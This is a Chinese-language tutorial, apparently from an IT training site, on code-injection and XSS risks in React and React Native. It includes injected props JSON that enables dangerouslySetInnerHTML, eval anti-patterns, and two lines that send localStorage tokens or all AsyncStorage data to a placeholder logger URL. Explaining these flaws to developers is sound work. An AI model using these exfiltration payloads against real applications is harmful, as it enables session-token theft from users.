React JavaScript 中的代码注入
龚超 2018-07-26 来源 : 阅读 2042 评论 0

摘要:本文主要向大家介绍了React JavaScript 中的代码注入,通过具体的内容向大家展示,希望对大家学习JavaScript 有所帮助。

本文主要向大家介绍了React JavaScript 中的代码注入,通过具体的内容向大家展示,希望对大家学习JavaScript 有所帮助。

ReactJS是一款用于构建用户界面的JavaScript库。它能预加载web前端,给用户带来更舒适的体验。React已经实现了绝大部分的客户端逻辑(比如说React能自动编码字符串),因此开发者大抵不用担心XSS攻击。

因此,只要合理使用React,你的应用就不会有太大的安全隐患。然而这些防御措施还是会因为坏的编程习惯而失效,比方说:

使用客户端提供的对象来创建React组件 通过用户提供的href或者其它可注入的属性来渲染链接 在React中使用dangerouslySetInnerHTML 把用户提供的数据传给eval()

就像墨非定律说的那样,这些隐患随时都会产生漏洞。让我慢慢道来。

Components, Props和Elements

Component(组件)是ReactJS最基本的对象。它们就像JavaScript的函数一样,接受任意输入(就是后文的props)并返回一个React Element(元素)。一个基本的component如下:


class Welcome extends React.Component {

render() {

return

Hello, {this.props.name}

;

}

}


注意看奇葩的return,它返回的东西叫JSX。JSX是JavaScript语法的扩展,它会被自动转译成正常的JavaScript(ES5)代码。就拿下面的代码来说,虽然它们形式不一样,但功效相同:


// JSX代码


const element = (

Hello, world!


);


// 被转译过后的代码


const element = React.createElement(

‘h1’,

{className: ‘greeting’},

‘Hello, world!’

);


在React中,开发者可以用createElement()来从component类中创建新的元素:


React.createElement(

type,

[props],

[...children]

)


这个函数用了这三个参数:

type可以是html标签的名字(比如div,span),或者是一个component类。不过在React Native中,这个参数只能被传入component props是一个包含了许多属性的列表,并且这些值要被传给element children包含了新元素的子节点

当你控制了其中的参数,你可以发动许多攻击

注入子节点

在2015年3月,Daniel LeCheminant汇报了一个 HackerOne的存储形XSS 。导致这个问题的原因是HackerOne会将客户端提供的一个对象当作children传给React.createElement()。代码大概如下:


/* 获取用户提供的参数,并将其当作JSON解析

attacker_supplied_value = JSON.parse(some_user_input)

*/

render() {

return {attacker_supplied_value};

}


JSX会被转译成这样: React.createElement("span", null, attacker_supplied_value};

当attacker_supplied_value是字符串时,该代码会返回一个span元素。不过在参数为简单对象时,这个函数也会正常执行。Daniel在props中添加dangerouslySetInnerHTML来阻止React转码HTML:


{

_isReactElement: true,

_store: {},

type: "body",

props: {

dangerouslySetInnerHTML: {

__html:

"

Arbitrary HTML

<a href=’//danlec.com'>link"

}

}

}


后来,React的元素需要有属性$$typeof: Symbol.for('react.element') 才能被正确识别。因为在注入对象时不能引用全局JavaScript Symbol,Daniel的方法也就随之失效了。

控制Element类型

虽然注入简单对象这个方法不能使用了,但是createElement的type参数支持字符串,因此注入component也还是有可能的。假设有以下代码:


// 用后端提供的字符串创建element

element_name = stored_value;

React.createElement(element_name, null);


如果stored_value被攻击者控制,那么可以通过其创建任意React component。不过这样也只能创建简单的HTML元素。为了更好地利用,攻击者必须控制新建元素时的属性参数。

注入props

我们来看看一下代码:


// 解析攻击者提供的JSON并传给createElement中

// 危险代码,请勿模仿

attacker_props = JSON.parse(stored_value)

React.createElement("span", attacker_props};

我们可以以此注入任意props参数,比方说开启dangerouslySetInnerHTML:


{"dangerouslySetInnerHTML" : { "__html": ""}}

传统XSS

一些传统的XSS攻击向量也可以被应用到ReactJS中,我将列举一些情况:

设置了dangerouslySetInnerHTML

开发者可能因种种原因启用了dangerouslySetInnerHTML:


很显然,当你控制了它的参数后,你可以注入任意JavaScript代码

可注入的属性

如果你控制了一个动态创建的a标签中的href属性,那么便可以尝试注入javascript:伪协议。还有一些HTML5的属性(formactin),也可以被用来当攻击点。


Link

当浏览器支持HTML5的import时,如下代码也会生效:

服务端渲染的HTML

为了减少页面加载的时间,人们渐渐倾向于在服务端预渲染ReactJS。在16年11月, Emilia Smith 指出因为缺乏转码, Redux 的服务端预渲染代码会导致XSS。

当然,只要在预渲染时缺乏转码,任何Web应用都会有类似问题。

基于Eval的代码注入

当你控制了一个被传入eval到执行的字符串,执行自己的代码便不在话下。不过这种情况凤毛麟角。


function antiPattern() {

eval(this.state.attacker_supplied);

}

// Or even crazier

fn = new Function("..." + attacker_supplied + "...");

fn();

持久化 session

对于现代Web应用而言,session cookies已经过时了。身处时代前沿的开发者一般在用无状态的session tokens,并将其存储在客户端的local storage。因此我们也要改变攻击手段了:


fetch('//example.com/logger.php?token='+localStorage.access_token);

React Native 中的注入

React Native让你可以用ReactJS在移动端编写程序,然而前文提到的手段大多在React Native中不管用:

React Native的createInternalComponent只接受被标签过的component类。即使你能控制createElement的所有参数,也不能创建任意元素。 HTML属性不能使用,并且HTML不会被解析,因此一般基于浏览器的XSS(比如href)不能正常执行

只有基于eval的攻击才能被执行。不过当你成功地执行了JS时,就能使用React Native的API来做破坏力更强的事,比如通过AsyncStorage盗取local storage的所有数据:


_reactNative.AsyncStorage.getAllKeys(function(err,result){_reactNative.AsyncStorage.multiGet(result,function(err,result){fetch('//example.com/logger.php?token='+JSON.stringify(result));});});


总结

即使React安全防御先天良好,坏的编程习惯依然会带来种种漏洞。我给大家带来两个忠告:

对于安全研究员:给每一个参数注入JavaScript或者JSON,可能会有意外的惊喜 对于开发者:千万不要使用eval()或dangerouslySetInnerHTML。尽可能地少解析用户提供的JSON

希望这篇文章可以帮助到你,总之同学们,IT知识尽在职坐标。

本文由 @职坐标 发布于职坐标。未经许可,禁止转载。
喜欢 | 0 不喜欢 | 0
看完这篇文章有何感觉?已经有0人表态,0%的人喜欢 快给朋友分享吧~
评论(0)
后参与评论
本文作者 联系TA

擅长针对企业软件开发的产品设计及开发的细节与流程设计课程内容。座右铭:大道至简!

  • 370
    文章
  • 23092
    人气
  • 87%
    受欢迎度

已有23人表明态度,87%喜欢该老师!

进入TA的空间
求职秘籍 直通车
  • 索取资料 索取资料 索取资料
  • 答疑解惑 答疑解惑 答疑解惑
  • 技术交流 技术交流 技术交流
  • 职业测评 职业测评 职业测评
  • 面试技巧 面试技巧 面试技巧
  • 高薪秘笈 高薪秘笈 高薪秘笈
TA的其他文章 更多>>
WEB前端必须会的基本知识题目
经验技巧 93% 的用户喜欢
Java语言中四种遍历List的方法总结(推荐)
经验技巧 91% 的用户喜欢
Java语言之SHA-256加密的两种实现方法详解
经验技巧 75% 的用户喜欢
java语言实现把两个有序数组合并到一个数组的实例
经验技巧 75% 的用户喜欢
通过Java语言代码来创建view的方法
经验技巧 80% 的用户喜欢
其他海同师资 更多>>
吕益平
吕益平 联系TA
熟悉企业软件开发的产品设计及开发
孔庆琦
孔庆琦 联系TA
对MVC模式和三层架构有深入的研究
周鸣君
周鸣君 联系TA
擅长Hadoop/Spark大数据技术
范佺菁
范佺菁 联系TA
擅长Java语言,只有合理的安排和管理时间你才能做得更多,行得更远!
金延鑫
金延鑫 联系TA
擅长与学生或家长及时有效沟通
经验技巧30天热搜词 更多>>

您输入的评论内容中包含违禁敏感词

我知道了

助您圆梦职场 匹配合适岗位
验证码手机号,获得海同独家IT培训资料
选择就业方向:
人工智能物联网
大数据开发/分析
人工智能Python
Java全栈开发
WEB前端+H5

请输入正确的手机号码

请输入正确的验证码

获取验证码

您今天的短信下发次数太多了,明天再试试吧!

提交

我们会在第一时间安排职业规划师联系您!

您也可以联系我们的职业规划师咨询:

小职老师的微信号:z_zhizuobiao
小职老师的微信号:z_zhizuobiao

版权所有 职坐标-一站式IT培训就业服务领导者 沪ICP备13042190号-4
上海海同信息科技有限公司 Copyright ©2015 www.zhizuobiao.com,All Rights Reserved.
 沪公网安备 31011502005948号    

©2015 www.zhizuobiao.com All Rights Reserved

208小时内训课程